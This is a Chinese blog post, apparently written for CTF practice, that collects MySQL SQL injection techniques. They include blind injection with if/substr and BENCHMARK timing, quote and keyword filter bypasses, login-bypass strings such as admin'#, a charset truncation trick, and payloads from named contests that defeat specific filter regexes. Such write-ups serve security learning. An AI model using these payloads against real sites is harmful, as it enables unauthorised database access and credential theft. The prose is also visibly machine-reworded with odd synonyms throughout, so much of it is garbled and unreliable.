百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

分享一下本人在CTF比赛中SQL注入的一些小技巧

toyiye 2024-07-08 00:34 12 浏览 0 评论

近来花了一点光阴总结了各大平台中注入的trick,本身照样太菜了,多数都得看题解,就特此做了一个paper便利总结

正文符

以下是Mysql中可以或许用到的单行正文符:

# -- -

以下是Mysql中可以或许用到的多行正文符(mysql下必要闭合):

/*

断定以后库能否有字段名

对付CTF中的题,某些可以或许间接断定有没有flag表1′ or(flag)比方:全表

用or试一下

这里说明一下为何or的成果为何不全,说白了也便是atoi函数的特征

or(列名)实在是遍历字段名中的每一个值而后拔取那些不为false的内容,由于在mysql中’ssdd’字符串默许即是0即是false以是不表现,而’4ddf’如许的字符串默许即是4,也便是true也就会前往了

limit下的字段数断定

家喻户晓where前提下的字段数可以或许用order by断定,而limit后可以或许应用 1,into @,@ (@为字段数)断定字段数@为mysql暂时变量,

道理请看http://www.w3school.com.cn/sql/sql_select_into.asp

or前提下的回显

曩昔总是对where id='1' or '1'='1'where id='0' or '1'='1'的回显不停不是很懂得,以是本日搭建情况测试了一下,以下可见

以是预测在or前提下先后假如都为真则前往一切成果,不然只前往前提为真的一方的值

concat与concat_ws与group_concat

1.2 MySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULLMySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULL

mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)

和concat分歧的是, concat_ws函数在履行的时刻,不会由于NULL值而前往NULL

mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)

盲注下的前提语句和光阴函数

这是我头几天刷wechall碰着的题,比方一下注入语句

select * from test1 where id='$_GET[id]';

已知没有回显位,id=3和id=1前往成果分歧样而且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B徒弟当时的payload

if(substr(flag,1,1)in(0x41),3,0)

写个剧本爆破之可得flag而基于光阴的注入曩昔都是不停用的if(xxxxxx,1,sleep(2));最也发明了一个更好的函数BENCHMARK

IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)

BENCHMARK函数是指履行某函数的次数,次数多时可以或许到达与sleep函数雷同的后果

逻辑操纵符被过滤

先放一波like语法http://www.runoob.com/mysql/mysql-like-clause.html

绕过\’被过滤

hex编码

SELECT password FROM Users WHERE username = 0x61646D696E

char编码

SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

html实体字符编码

SELECT FROM Users WHERE username = 'admin'

%2527

这里重要是由于绕过magic_quotes_gpc过滤,由于%25解码为%,联合后面的27也便是%27也便是',以是胜利绕过过滤。

宽字节就不说了gbk编码在单引号后面加一个%df便可

表名等关键字被过滤

以information_schema.tables为例

空格 information_schema . tables

着重号 information</em>schema.tables

特别符 /!informationschema.tables/

别号 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

表单认证绕过

这里选两题一题是试验吧的web分类第一题

"SELECT username FROM users WHERE username='$username' AND password='$password'"

如许的间接username=admin'#便可,或许username='='&password='='如许就可以结构出

"SELECT username FROM users WHERE username=''='' AND password=''=''"

以是逻辑断定绕过第二题是iscc的简略注入,预测大抵后盾语句以下,PS:后盾暗码是md5处置过的

$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){

这里可以或许结构username=0' union select md5(1)#&password=1

Mysql字符编码应用技能

传入的username=admin%c2,php的检测if ($username === ‘admin’)天然就可以够绕过的,在mysql中可以或许失常查出username=’admin’的成果,道理是Mysql在转换字符集的时刻,将不完备的字符给疏忽了。详细可参照P徒弟文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

隐式范例转换

这里先上几个图,自行领会精力

这里为何咱们输出为何name=0会招致前往数据呢?实在这里跟php弱范例有殊途同归之妙,mysql在比拟一个整数和一个字符串也会强迫把字符串转化为整数停止比拟,并前往一个warning,以是这里

pupiladmin

都会被转换为0以是与0比拟相称,那末咱们进一步料想那一个非0开首的字符串强迫转化是什么呢

因而可知,与PHP同样,mysql也会把字符串强迫转化为开首的数字,若开首是字母则强迫转化为0,那咱们怎样应用这一黑邪术呢,家喻户晓,mysql同样平常都是字符型注入,很少稀有字型注入的,就像where username='input'如许,咱们纯真的输出数字是会被转化成字符串的,就像如许

这时刻咱们就必要做一些操纵来结构注入点了,好比应用算术运算符

+,-,*,/,%

又或许位操纵符

&,|,^

上面咱们以+为例停止演示

过滤了&,|,*,/,=等逻辑处置字符

可以或许用in,exists,position..in,>,<,!,<>,like等操纵符绕过这个链接有详细先容http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,好比要应用sql盲注的话然则过滤了substr,mid,asccii,ord等函数可以或许应用一下语句

admin' AND password LIKE "p%" --

一点实战例子

陕西省收集空间平安

过滤了

/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"

这里没有过滤^,以是可以或许绕过,payload

username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1

pwnhubcuit校赛

过滤了

/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i

这里过滤了&,|,*,=等标记和substring,mid可以或许应用in,exists,>,<,<>,比拟运算符绕过,payload

'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'

webhacking,kr

过滤了

union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco

这里这里if和substr都没被过滤,而且空格可以或许被%0a绕过,以是payload

%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)

末了总结一下注入题(手工注入。。)的同样平常思绪(大牛轻喷),对付同样平常注入首先要找到注入点,好比有许多参数的先肯定哪一个参数好注入,再测验考试有没有过滤或许过滤了那些字符,waf本身能否有问题招致间接可以或许大小写,双写,编码绕过的。固然同样平常ctf中的题注入假若有waf同样平常都是过滤不完全的,耐烦点就可以够找出payload,末了便是留意一下参数提交的方法,有时刻一些标题get方法过滤的很严厉然则post只是意味性的过滤一下,另有一些用$_REQUEST方法的留意除get和post还可以或许测验考试cookie注入。

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码